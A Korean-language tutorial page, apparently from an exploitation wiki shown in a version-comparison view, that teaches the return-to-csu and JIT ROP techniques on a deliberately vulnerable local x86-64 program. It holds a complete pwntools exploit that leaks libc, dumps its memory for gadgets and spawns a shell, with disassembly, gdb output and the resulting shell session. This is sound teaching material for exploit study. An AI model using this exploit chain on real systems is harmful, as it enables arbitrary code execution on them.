Versions Compared

Key

  • This line was added.
  • This line was removed.
  • Formatting was changed.

...

Excuse the ads! We need some help to keep our site up.

List

Table of Contents
excludeList

return-to-csu (feat.JIT ROP)

  • return-to-csu는 __libc_csu_init() 함수의 일부 코드를 Gadget으로 이용하는 기술 입니다.
    • __libc_csu_init() 함수는 프로그램 실행시 _init() 함수와 __preinit_array, __init_array 에 설정된 함수 포인터를 읽어서 함수를 호출합니다.
  • return-to-csu에서 사용되는 코드는 다음과 같습니다.
    • 해당 코드는 __init_array에 저장된 함수 포인터를 읽어 호출하는 코드입니다.

...

Code Block
titleConditional statement
  4005f9:	41 ff 14 dc          	call   QWORD PTR [r12+rbx*8]
  4005fd:	48 83 c3 01          	add    rbx,0x1
  400601:	48 39 eb             	cmp    rbx,rbp
  400604:	75 ea                	jne    4005f0 <__libc_csu_init+0x40>
  400606:	48 83 c4 08          	add    rsp,0x8
  40060a:	5b                   	pop    rbx
  40060b:	5d                   	pop    rbp
  40060c:	41 5c                	pop    r12
  40060e:	41 5d                	pop    r13
  400610:	41 5e                	pop    r14
  400612:	41 5f                	pop    r15
  400614:	c3                   	ret  

Proof of concept

File

Panel

Example code

  • 해당 코드는 이전과 다르게 libc 영역의 주소를 출력하지 않습니다.
Code Block
languagecpp
titlerop.c
//gcc -fno-stack-protector -o rop rop.c
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h> 

void vuln(){
    char buf[50];
    read(0, buf, 512);
}

void main(){
    write(1,"Hello ROP\n",10);
    vuln();
}

Overflow

  • 다음과 같이 Breakpoints를 설정합니다.
    • 0x4005f6: vuln 함수 코드 첫부분

    • 0x40060f: read() 함수 호출 전

...

Code Block
titleOverflow
Breakpoint 1, 0x00000000004005f6 in vuln ()
gdb-peda$ i r rsp
rsp            0x7fffffffe488	0x7fffffffe488
gdb-peda$ c
Continuing.
Breakpoint 2, 0x000000000040060f in vuln ()
gdb-peda$ i r rsi
rsi            0x7fffffffe440	0x7fffffffe440
gdb-peda$ p/d 0x7fffffffe488 - 0x7fffffffe440
$1 = 72
gdb-peda$ 

Exploit method

  • ROP 기법을 이용한 Exploit의 순서는 다음과 같습니다.

...

Panel
  • .bss 주소
  • return-to-csu gadget 주소
  • read, write 함수의 got 주소
  • "/bin/sh"

Find the address of the .bss area

  • 다음과 같이 .bss 영역의 주소를 찾을 수 있습니다.
Code Block
titlereadelf -S ./rop
lazenca0x0@ubuntu:~/Exploit/__libc_csu_init$ readelf -S ./rop
There are 31 section headers, starting at offset 0x1a28:

Section Headers:
  [Nr] Name              Type             Address           Offset
       Size              EntSize          Flags  Link  Info  Align
  [ 0]                   NULL             0000000000000000  00000000
       0000000000000000  0000000000000000           0     0     0
  [ 1] .interp           PROGBITS         0000000000400238  00000238
       000000000000001c  0000000000000000   A       0     0     1
  [ 2] .note.ABI-tag     NOTE             0000000000400254  00000254
       0000000000000020  0000000000000000   A       0     0     4
  [ 3] .note.gnu.build-i NOTE             0000000000400274  00000274
       0000000000000024  0000000000000000   A       0     0     4
  [ 4] .gnu.hash         GNU_HASH         0000000000400298  00000298
       000000000000001c  0000000000000000   A       5     0     8
  [ 5] .dynsym           DYNSYM           00000000004002b8  000002b8
       0000000000000078  0000000000000018   A       6     1     8
  [ 6] .dynstr           STRTAB           0000000000400330  00000330
       0000000000000043  0000000000000000   A       0     0     1
  [ 7] .gnu.version      VERSYM           0000000000400374  00000374
       000000000000000a  0000000000000002   A       5     0     2
  [ 8] .gnu.version_r    VERNEED          0000000000400380  00000380
       0000000000000020  0000000000000000   A       6     1     8
  [ 9] .rela.dyn         RELA             00000000004003a0  000003a0
       0000000000000018  0000000000000018   A       5     0     8
  [10] .rela.plt         RELA             00000000004003b8  000003b8
       0000000000000048  0000000000000018  AI       5    24     8
  [11] .init             PROGBITS         0000000000400400  00000400
       000000000000001a  0000000000000000  AX       0     0     4
  [12] .plt              PROGBITS         0000000000400420  00000420
       0000000000000040  0000000000000010  AX       0     0     16
  [13] .plt.got          PROGBITS         0000000000400460  00000460
       0000000000000008  0000000000000000  AX       0     0     8
  [14] .text             PROGBITS         0000000000400470  00000470
       00000000000001b2  0000000000000000  AX       0     0     16
  [15] .fini             PROGBITS         0000000000400624  00000624
       0000000000000009  0000000000000000  AX       0     0     4
  [16] .rodata           PROGBITS         0000000000400630  00000630
       000000000000000f  0000000000000000   A       0     0     4
  [17] .eh_frame_hdr     PROGBITS         0000000000400640  00000640
       000000000000003c  0000000000000000   A       0     0     4
  [18] .eh_frame         PROGBITS         0000000000400680  00000680
       0000000000000114  0000000000000000   A       0     0     8
  [19] .init_array       INIT_ARRAY       0000000000600e10  00000e10
       0000000000000008  0000000000000000  WA       0     0     8
  [20] .fini_array       FINI_ARRAY       0000000000600e18  00000e18
       0000000000000008  0000000000000000  WA       0     0     8
  [21] .jcr              PROGBITS         0000000000600e20  00000e20
       0000000000000008  0000000000000000  WA       0     0     8
  [22] .dynamic          DYNAMIC          0000000000600e28  00000e28
       00000000000001d0  0000000000000010  WA       6     0     8
  [23] .got              PROGBITS         0000000000600ff8  00000ff8
       0000000000000008  0000000000000008  WA       0     0     8
  [24] .got.plt          PROGBITS         0000000000601000  00001000
       0000000000000030  0000000000000008  WA       0     0     8
  [25] .data             PROGBITS         0000000000601030  00001030
       0000000000000010  0000000000000000  WA       0     0     8
  [26] .bss              NOBITS           0000000000601040  00001040
       0000000000000008  0000000000000000  WA       0     0     1
  [27] .comment          PROGBITS         0000000000000000  00001040
       0000000000000035  0000000000000001  MS       0     0     1
  [28] .shstrtab         STRTAB           0000000000000000  0000191a
       000000000000010c  0000000000000000           0     0     1
  [29] .symtab           SYMTAB           0000000000000000  00001078
       0000000000000678  0000000000000018          30    47     8
  [30] .strtab           STRTAB           0000000000000000  000016f0
       000000000000022a  0000000000000000           0     0     1
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings), l (large)
  I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)
  O (extra OS processing required) o (OS specific), p (processor specific)
lazenca0x0@ubuntu:~/Exploit/__libc_csu_init$

Find the address of the return-to-csu gadget

  • 다음과 같이 return-to-csu gadget의 주소를 찾을 수 있습니다.
    • Gadget 1 : 0x40060a
    • Gadget 2 : 0x4005f0
    • Gadget 3 : 0x40060d
Code Block
titleobjdump -M intel -d ./rop
lazenca0x0@ubuntu:~/Exploit/__libc_csu_init$ objdump -M intel -d ./rop
./rop:     file format elf64-x86-64

Disassembly of section .init:
...

Disassembly of section .plt:
...

Disassembly of section .text:
...

00000000004005b0 <__libc_csu_init>:
  4005b0:	41 57                	push   r15
  4005b2:	41 56                	push   r14
  4005b4:	41 89 ff             	mov    r15d,edi
  4005b7:	41 55                	push   r13
  4005b9:	41 54                	push   r12
  4005bb:	4c 8d 25 4e 08 20 00 	lea    r12,[rip+0x20084e]        # 600e10 <__frame_dummy_init_array_entry>
  4005c2:	55                   	push   rbp
  4005c3:	48 8d 2d 4e 08 20 00 	lea    rbp,[rip+0x20084e]        # 600e18 <__init_array_end>
  4005ca:	53                   	push   rbx
  4005cb:	49 89 f6             	mov    r14,rsi
  4005ce:	49 89 d5             	mov    r13,rdx
  4005d1:	4c 29 e5             	sub    rbp,r12
  4005d4:	48 83 ec 08          	sub    rsp,0x8
  4005d8:	48 c1 fd 03          	sar    rbp,0x3
  4005dc:	e8 1f fe ff ff       	call   400400 <_init>
  4005e1:	48 85 ed             	test   rbp,rbp
  4005e4:	74 20                	je     400606 <__libc_csu_init+0x56>
  4005e6:	31 db                	xor    ebx,ebx
  4005e8:	0f 1f 84 00 00 00 00 	nop    DWORD PTR [rax+rax*1+0x0]
  4005ef:	00 
  4005f0:	4c 89 ea             	mov    rdx,r13
  4005f3:	4c 89 f6             	mov    rsi,r14
  4005f6:	44 89 ff             	mov    edi,r15d
  4005f9:	41 ff 14 dc          	call   QWORD PTR [r12+rbx*8]
  4005fd:	48 83 c3 01          	add    rbx,0x1
  400601:	48 39 eb             	cmp    rbx,rbp
  400604:	75 ea                	jne    4005f0 <__libc_csu_init+0x40>
  400606:	48 83 c4 08          	add    rsp,0x8
  40060a:	5b                   	pop    rbx
  40060b:	5d                   	pop    rbp
  40060c:	41 5c                	pop    r12
  40060e:	41 5d                	pop    r13
  400610:	41 5e                	pop    r14
  400612:	41 5f                	pop    r15
  400614:	c3                   	ret    
  400615:	90                   	nop
  400616:	66 2e 0f 1f 84 00 00 	nop    WORD PTR cs:[rax+rax*1+0x0]
  40061d:	00 00 00 

Disassembly of section .fini:
...

lazenca0x0@ubuntu:~/Exploit/__libc_csu_init$

Idea of using R8, R9, R10, R11, R12, R13, R14, R15 registers

  • 다음와 같이 POP 명령어를 활용할 수 있습니다.

    • POP "R8, R9, R10, R11, R12, R13, R14, R15" 명령어들은 POP "RAX, RCX, RDX, RBX, RSP, RBP, RSI, RDI" 명령어로 활용가능합니다.

    • 예를 들어 "POP R8" 명령어의 hex 값은 "41 58" 이기 때문에 "POP RAX" 명령어(hex 값은 "58")도 사용할 수 있습니다.

  • 해당 Exploit code에서 0x40060d 주소를 3번째 Gadget으로 사용합니다.

    • 해당 Gadget으로 인해 Gadget을 이용해 RSP 레지스터에 ".bss"영역으로 이동하여 저장된 ROP Chain을 실행하게 됩니다값을 저장할 수 있습니다.

    • 여기에서는 해당 Gadget을 이용하여 RSP 레지스터에 다음 ROP코드가 저장된 영역의 주소를 저장하고, 해당 영역으로 이동하여 코드를 실행 합니다.

Panel
titleConversion( ? )
RegisterRaw Hex(2byte)RegisterRaw Hex(1byte)
POP R841 58  POP RAX58
POP R941 59POP RCX59
POP R1041 5aPOP RDX5a
POP R1141 5bPOP RBX5b
POP R1241 5c POP RSP5c
POP R1341 5dPOP RBP5d
POP R1441 5ePOP RSI5e
POP R1541 5fPOP RDI5f

Exploit code

Code Block
languagepy
titleexploit.py
from pwn import *
from struct import *
 
#context.log_level = 'debug'
 
binary = ELF('./rop')

execve = 59

addr_bss = 0x601050
addr_got_read = binary.got['read']
addr_got_write = binary.got['write']
addr_got_start = binary.got['__libc_start_main']
 
addr_csu_init1 = 0x40060a
addr_csu_init2 = 0x4005f0
addr_csu_init3 = 0x40060d
 
stacksize = 0x400
base_stage = addr_bss + stacksize
 
p = process(binary.path)
p.recvn(10)
 
# stage 1: read address of __libc_start_main()
buf = 'A' * 72
#Gadget 1
buf += p64(addr_csu_init1) 
buf += p64(0)
buf += p64(1)
buf += p64(addr_got_write)
buf += p64(8)
buf += p64(addr_got_start)
buf += p64(1)
#Gadget 2 - write(1,__libc_start_main,8)
buf += p64(addr_csu_init2) 
buf += p64(0)
buf += p64(0)
buf += p64(1)
buf += p64(addr_got_read)
buf += p64(400)
buf += p64(base_stage)
buf += p64(0)
#Gadget 2 - Call read(0,.bss + 0x400,400)
buf += p64(addr_csu_init2) 
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)

buf += p64(addr_csu_init3)
buf += p64(base_stage)

p.send(buf)
libc_addr = u64(p.recv())
log.info("__libc_start_main : " + hex(libc_addr))
 
libc_bin = ''
libc_readsize = 0x190000

# stage 2: "/bin/sh\x00" and JIT ROP
buf = "/bin/sh\x00"
buf += 'A' * (24-len(buf))


buf += p64(addr_csu_init1)
buf += p64(0)
buf += p64(1)
buf += p64(addr_got_write)
buf += p64(libc_readsize)
buf += p64(libc_addr)
buf += p64(1)
 
#Gadget 1 - write(1,Address of leak libc,0x190000)
buf += p64(addr_csu_init2)
buf += p64(0)
buf += p64(0)
buf += p64(1)
buf += p64(addr_got_read)
buf += p64(100)
buf += p64(base_stage + len(buf) + 8 * 10)
buf += p64(0)
 
#Gadget 2 - read(0,"base_stage + len(buf) + 8 * 10" ,100)
buf += p64(addr_csu_init2)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)

p.send(buf)
 
with log.progress('Reading libc area from memory...') as l:
    for i in range(0,libc_readsize/4096):
        libc_bin += p.recv(4096)
        l.status(hex(len(libc_bin)))

offs_pop_rax = libc_bin.index('\x58\xc3') # pop rax; ret
offs_pop_rdi = libc_bin.index('\x5f\xc3') # pop rdi; ret
offs_pop_rsi = libc_bin.index('\x5e\xc3') # pop rsi; ret
offs_pop_rdx = libc_bin.index('\x5a\xc3') # pop rdx; ret
offs_syscall = libc_bin.index('\x0f\x05') # syscall

log.info("Gadget : pop rax; ret > " + hex(libc_addr + offs_pop_rax))
log.info("Gadget : pop rdi; ret > " + hex(libc_addr + offs_pop_rdi))
log.info("Gadget : pop rsi; ret > " + hex(libc_addr + offs_pop_rsi))
log.info("Gadget : pop rdx; ret > " + hex(libc_addr + offs_pop_rdx))
log.info("Gadget : syscall > " + hex(libc_addr + offs_syscall))
 
# stage 3: execve("/bin/sh", NULL, NULL)
buf = p64(libc_addr + offs_pop_rax)
buf += p64(execve)
buf += p64(libc_addr + offs_pop_rdi)
buf += p64(base_stage)
buf += p64(libc_addr + offs_pop_rsi)
buf += p64(0)
buf += p64(libc_addr + offs_pop_rdx)
buf += p64(0)
buf += p64(libc_addr + offs_syscall)
 
p.send(buf)
p.interactive()
Code Block
titleGet shell!
lazenca0x0@ubuntu:~/Exploit/__libc_csu_init$ python exploit.py 
[*] '/home/lazenca0x0/Exploit/__libc_csu_init'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Starting local process '/home/lazenca0x0/Exploit/__libc_csu_init/rop': pid 17217
[*] __libc_start_main : 0x7f6cd6ae5740
[+] Reading libc area from memory...: Done
[*] Gadget : pop rax; ret > 0x7f6cd6af8544
[*] Gadget : pop rdi; ret > 0x7f6cd6ae6102
[*] Gadget : pop rsi; ret > 0x7f6cd6ae7bb5
[*] Gadget : pop rdx; ret > 0x7f6cd6bda0a6
[*] Gadget : syscall > 0x7f6cd6ae58a4
[*] Switching to interactive mode
$ id
uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$ 

References

...